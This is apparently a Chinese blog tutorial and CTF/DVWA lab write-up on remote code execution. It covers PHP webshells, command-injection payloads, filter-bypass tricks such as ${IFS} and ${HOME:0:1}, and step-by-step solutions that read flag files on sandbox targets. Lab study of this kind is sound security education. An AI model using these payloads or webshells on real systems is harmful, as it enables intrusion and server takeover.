时间:2026-03-08 17:03
人气:
作者:admin
RCE(Remote Code Execution,远程代码执行)是漏洞研究里非常核心的一类,因为一旦成功,攻击者可以在目标服务器上执行任意代码。
RCE 指攻击者通过漏洞,让服务器执行攻击者提供的代码或命令。
简单理解:
用户输入 → 被程序直接执行 → 攻击者控制服务器
例如一个 PHP 程序:
<?php
system($_GET['cmd']);
?>
访问:
http://site.com/test.php?cmd=whoami
服务器就会执行:
whoami
如果攻击者输入:
cmd=cat /etc/passwd
服务器就会执行读取系统文件。
RCE 很少是“直接写出来”的,一般是由其他漏洞发展而来。
当程序把用户输入拼接进系统命令。
示例:
$ip = $_GET['ip'];
system("ping " . $ip);
攻击输入:
127.0.0.1; whoami
执行变成:
ping 127.0.0.1; whoami
攻击者成功执行命令。
如果网站允许上传文件,但没有限制脚本文件。
上传:
shell.php
内容:
<?php system($_GET['cmd']); ?>
访问:
http://target.com/upload/shell.php?cmd=whoami
就获得 WebShell。
在 PHP / Java / Python 中,如果程序反序列化用户数据,就可能触发执行。
例如 PHP:
unserialize($_POST['data']);
攻击者构造恶意对象 → 触发魔术方法 → 执行代码。
例如:
{{7*7}}
如果返回:
49
说明模板被执行。
在某些模板引擎里可以进一步执行系统命令。
例如历史上很多框架 RCE:
这些都是现实中非常重要的 RCE 漏洞。
漏洞利用通常是这个逻辑:
信息收集
↓
发现输入点
↓
判断是否可控
↓
构造payload
↓
命令执行
↓
拿shell
常见测试 payload:
;id
|id
&&id
`id`
$(id)
如果页面返回:
uid=33(www-data)
说明命令执行成功。
RCE 最常见目标是拿 WebShell。
简单例子:
<?php
eval($_POST['cmd']);
?>
攻击者 POST:
cmd=system('whoami');
服务器执行。
这就是最基础的 WebShell。
避免 RCE 的关键:
例如 PHP:
system
exec
passthru
eval
assert
Windows(CMD / PowerShell 常见含义)
| 符号 | 作用 |
|---|---|
; |
在 PowerShell 中用于分隔多条命令(CMD 中通常不用 ;)。 |
&& |
前一条命令成功(返回码为0)时 才执行下一条命令。 |
|| |
前一条命令失败时 才执行下一条命令。 |
& |
CMD 中用于顺序执行多条命令;PowerShell 中可用于调用命令/脚本(call operator)。 |
| |
管道,把前一条命令的输出传递给后一条命令作为输入。 |
Linux(Bash / Shell)
| 符号 | 作用 |
|---|---|
; |
顺序执行多条命令,前后命令是否成功都继续执行。 |
&& |
前一条命令成功时 才执行下一条命令(逻辑与)。 |
|| |
前一条命令失败时 才执行下一条命令(逻辑或)。 |
& |
将命令 放到后台执行(background job)。 |
| |
管道,把前一个命令的输出作为后一个命令的输入。 |
URL编码
| 编码 | 转义符 | 含义 |
|---|---|---|
| %0a | 回车 | 将光标移到行首 |
| %0d | 换行 | 将光标移到下一行 |
| %20 | 空格 | URL 中最常见的编码(有时也用 + 表示) |
| %09 | 制表符 | 用于对齐或在某些注入攻击中代替空格 |
| %00 | 空字符 | 非常危险,常用于“截断”文件名或绕过安全过滤 |
输入127.0.0.1,页面显示如下:

输入127.0.0.1;ls /

源码如下,可以很清楚的看出,有替换:
$substitutions = array(
'&&' => '',
';' => '',
);
可以将前面的命令报错,然后执行后面的命令,使用||
输入-I 127.0.0.1 || ls /,页面显示如下:

源码如下,可以很清楚的看出,比medium替换更多了:
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
可以发现一个问题,就是| 后面有空格,如果我输入的|后面没有空格
输入127.0.0.1 |ls /,页面显示如下:

输入127.0.0.1,页面显示如下:

输入127.0.0.1;ls /,页面显示如下:

输入phpinfo();,页面显示如下:

输入system("ls /");,页面显示如下:

进入CTFHUB > Web > RCE。

通过页面上显示出来的源码,直接通过GET请求传入参数cmd,

url为:
http://challenge-9bc0a91ec65feb53.sandbox.ctfhub.com:10800?cmd=phpinfo();
页面显示如下:

可以执行php代码,将url改为:http://challenge-9bc0a91ec65feb53.sandbox.ctfhub.com:10800?cmd=system("ls /");
页面显示如下:
![]()
可以发现有flag_23819
将url改为:http://challenge-9bc0a91ec65feb53.sandbox.ctfhub.com:10800?cmd=system("cat /flag_23819");
页面显示如下:
![]()
flag为: ctfhub{127fb3cbdfbe7a02e646c1b7}
打开链接,页面显示如下:这就简单了

输入127.0.0.1; ls ./,页面显示如下:

输入127.0.0.1;cat 10241262049711.php,页面显示如下:

查看网页源码,得到flag为: ctfhub{4df362631f51453d1e240e13}

127.0.0.1; ls ./,页面显示如下:
flag_10674148673987.php,输入127.0.0.1; less flag_10674148673987.php
flag为: ctfhub{9ef19865c366147ba3906626}
127.0.0.1;${IFS}ls${IFS}./,页面显示如下:
127.0.0.1;${IFS}cat${IFS}flag_29512323683167.php,页面显示如下:
flag为: ctfhub{b51488d170ee18e99b85fea5}
${PATH:0:1},${HOME:0:1},${PWD:0:1}$'\x2f'127.0.0.1; ls -l .${HOME:0:1},页面显示如下:
127.0.0.1; ls -l .${HOME:0:1}flag_is_here${HOME:0:1},页面显示如下:
127.0.0.1; cat .${HOME:0:1}flag_is_here${HOME:0:1}flag_43492255429692.php,页面显示如下:
flag为: ctfhub{7a0a06bf54cd73692a37ca81}
127.0.0.1; ls ./127.0.0.1; cat flag操作略,flag为: ctfhub{4ec649515b610ab1dd3c781b}
打开链接,页面显示如下:

输入127.0.0.1%0als${IFS}.${HOME:0:1},然后Burp Suite抓包
GET /?ip=127.0.0.1%250als%24%7BIFS%7D%24%7BHOME%3A0%3A1%7D HTTP/1.1
Host: challenge-6e493279a773b9a0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://challenge-6e493279a773b9a0.sandbox.ctfhub.com:10800/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
传入的参数ip多了一个"25",改成127.0.0.1%0als%24%7BIFS%7D%24%7BHOME%3A0%3A1%7D
页面显示如下:

还会过滤flag,因此需要使用fla*代替
根据上面的步骤可以得到flag为: ctfhub{827a29d4be2d8a94de2974a8}
Apple Macbook Pro M1-Pro (32G) macOS Sonoma 14.8.4
ubuntu作为靶机
172.16.83.131kali作为攻击机
172.16.83.130ubuntu中安装docker靶场:kaakaww/dvwa-docker:latest
ubuntu中安装docker靶场:homins/pikachu:latest
# 拉取docker镜像
sudo docker pull kaakaww/dvwa-docker
sudo docker pull hominsu/pikachu
# 为镜像创建容器,并运行
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker # DVWA 端口设为 8090
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu # pikachu 端口设为 8082
???? 不一定对,如有错误,欢迎指出????。
下一篇:缓冲区溢出实验详细解析